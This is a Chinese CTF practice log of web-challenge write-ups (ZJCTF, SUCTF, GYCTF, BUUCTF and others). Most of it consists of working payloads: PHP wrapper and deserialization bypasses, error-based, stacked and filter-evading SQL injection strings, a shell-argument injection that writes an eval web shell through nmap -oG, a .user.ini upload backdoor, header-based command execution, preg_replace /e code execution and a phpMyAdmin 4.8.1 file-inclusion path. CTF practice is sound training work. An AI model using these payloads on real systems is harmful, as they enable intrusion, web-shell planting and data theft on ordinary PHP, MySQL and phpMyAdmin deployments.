CTF刷题记录(四)
[ZJCTF 2019]NiZhuanSiWei
题目给出源码
传入三个参数,需要三个参数都满足条件才能获得flag
Text参数,需要满足(file_get_contents($text,'r')==="welcome to the zjctf"
意思为读取一个文件的内容与字符串进行强比较要相等,这里可以利用伪协议data://
把该字符串写入一个文件,则可以绕过该比较
Playload:text=data://doc/;base64, d2VsY29tZSB0byB0aGUgempjdGY=
将“welcome to the zjctf”用base64编码写入再解码保存在doc文件中,成功绕过第一个强比较
File参数,正则判断时候含有flag字符,不含flag则可以包含该文件,执行指定文件。
根据提示要读取useless.php文件,这里需要使用伪协议php://filter读取文件
Playload: file=php://filter/read=convert.base64-encode/resource=useless.php
得到文件内容的base64编码
解码得到一段代码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ"); } } }
?>
给出一个flag类,里面有file参数,结合password参数的反序列化漏洞,可以构造password来读取flag文件
构造poc
得到
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终playload:
text=data://doc/;base64,%20d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
页面显示
抓包发送得到flag
[SUCTF 2019]CheckIn
文件上传题目,只允许上传图片
利用user.ini文件
形成后门原理就是会在执行所有的php文件之前包含.user.ini所指定的文件,抓包修改文件名,文件类型
上传成功
再制作一个简单图马
上传成功
访问该文件,已被解析成php格式
蚁剑连接成功
打开命令行,cat /flag获得flag
[极客大挑战 2019]HardSQL
题目过滤了and、=、union等sql敏感字符,采用报错注入绕过这些字符
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#查库
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#查表
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#查列
admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#查字段,只返回了flag的前半段
后面用left()right()语句查询拼接
admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
拼起来就是flag了
[MRCTF2020]Ez_bypass
给出源码,要求上传参数绕过各个比较函数
第一个md5强比较
,由于md5无法处理数组,输入参数为数组时,md5函数返回false,当两个函数都是false时,强比较判断为相等。
第二个弱比较
,使用1234567a,1在前,php会将其整体转成数字,则能够绕过弱比较
Playload=id[]=1&gg[]=1&password=1234567a
[GYCTF2020]Blacklist
简单的堆叠注入
1’;show databases;#查库
1';show tables;#查表
1';show columns from `FlagHere`;#查列
当输入select时,发现题目对select有严格过滤
改用handler
, handler … open语句打开一个表,使其可以使用后续handler… read语句访问,该表对象未被其他会话共享,并且在会话调用handler… close或会话终止之前不会关闭
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
得到flag
[BUUCTF 2018]Online Tool
题目给出源代码
remote_addr
和x_forwarded_for
函数用于服务器获取IP
escapeshellarg()
和escapeshellcmd()
一起使用时会引发解析漏洞
当传入127.0.0.1参数时
escapeshellarg处理后变成
'127.0.0.1'\'' -v -d a=1'
escapeshellcmd处理后变成
'127.0.0.1'\\'' -v -d a=1\'
最后结果是
curl '127.0.0.1'\\'' -v -d a=1\',\\解析为\,‘’成为空白连接符,等价于curl 127.0.0.1\ -v -d a=1,即向127.0.0.1发起post请求,数据为a=1’
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
由于system执行命令且有host参数传参,可利用该参数传入shell
由于nmap的-oG命令可以把结果写入指定文件中,所以可以通过写入一句话木马的方式获得shell
Playload= host=' <?php @eval($_POST["shell"]);?> -oG shell.php '
上传的playload经两个函数处理后变成
''\\'' \<\?php \@eval\(\$_POST\[\"shell\"\])\;\?\> -oG test.php\'
上传playload之后获得文件地址
蚁剑连接
命令行获得flag
[BJDCTF2020]The mystery of ip
题目有有flag.php,hint.php,index.php三个页面
Flag.php
页面返回ip地址值
Hint.php
页面给出提示,暗示ip可控
抓包分析flag.php页面,发现添加一个client-ip请求头可以控制返回的ip地址
client-ip:{3*3}
返回9,即可以执行语句
client-ip:{system(‘ls’)}
写入命令行,获取目录,发现flag.php文件
client-ip:{system('cat /flag')}
得到flag
[GWCTF 2019]我有一个数据库
题目没给任何提示,根据题名应该猜测数据库名称,用御剑扫描出数据库为PhpMyadmin
不需秘钥,直接登录数据库,查看版本信息
根据版本信息查询相关漏洞,发现phpmyadmin4.8.0-4.8.1存在文件包含漏洞
即直接构造
playload: target=db_datadict.php%253f/../../../../../../../../flag
直接读取flag
[BJDCTF2020]ZJCTF,不过如此
题目给出源码,和之前做的题有点相似
第一个强比较使用伪协议data://
绕过
Playload:text= data://doc/;base64, SSBoYXZlIGEgZHJlYW0=
成功绕过
后面的文件包含使用伪协议php://filter
读取next.php
Playload: file=php://filter/read=convert.base64-encode/resource=next.php
Base64解码,得到代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace( '/(' . $re . ')/ei','strtolower("\\1")',$str);}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";}
function getFlag(){
@eval($_GET['cmd']);}
在next.php文件中get传入id参数和cmd参数
preg_replace()以/e结尾时,存在命令执行漏洞
,当存在/e则,匹配到符合正则表达式的字符串时,第二个参数的字符串将被当做代码执行
第二参数为strtolower("\\1")
等价于strtolower("\1")
,\1
在正则表达式中指定第一个匹配项,整个函数的意思就是取出正则表达式匹配后子匹配表达式的第一项
foreach()函数把传进去的参数变为正则数值变为字符串
getFlag()返回cmd参数执行内容
构造
playload: \S*=${getFlag()}&cmd=system('cat /flag');
上传得到flag
[CISCN2019 华北赛区 Day2 Web1]Hack World
题目提示flag就在flag表flag列里
Sql常规注入流程发现过滤了;、”、#、&等字符,用()绕过这些字符
直接查询id=(select(flag)from(flag))只返回错误信息
Id=sleep(3)延时一段时间再返回说明注入成功,但只返回错误提示
猜测flag第一个字符为f即102,返回正确信息,所以是盲注
脚本拿flag
[SWPU2019]Web1
随便注册一个账号,登录之后有广告申请
输入’,查询却显示错误,存在注入点
经验证过滤了空格,or,and,--+,#,order等敏感字符,用/**/代替空格,group by代替order by
-1'/**/group/**/by/**/21,'2,验证存在21个注入点
0'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'5,回显2,3,说明回显点在2,3
0'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'5查库
0'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'5查表(information_schema.tables被过滤)
0'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'5,查列得到flag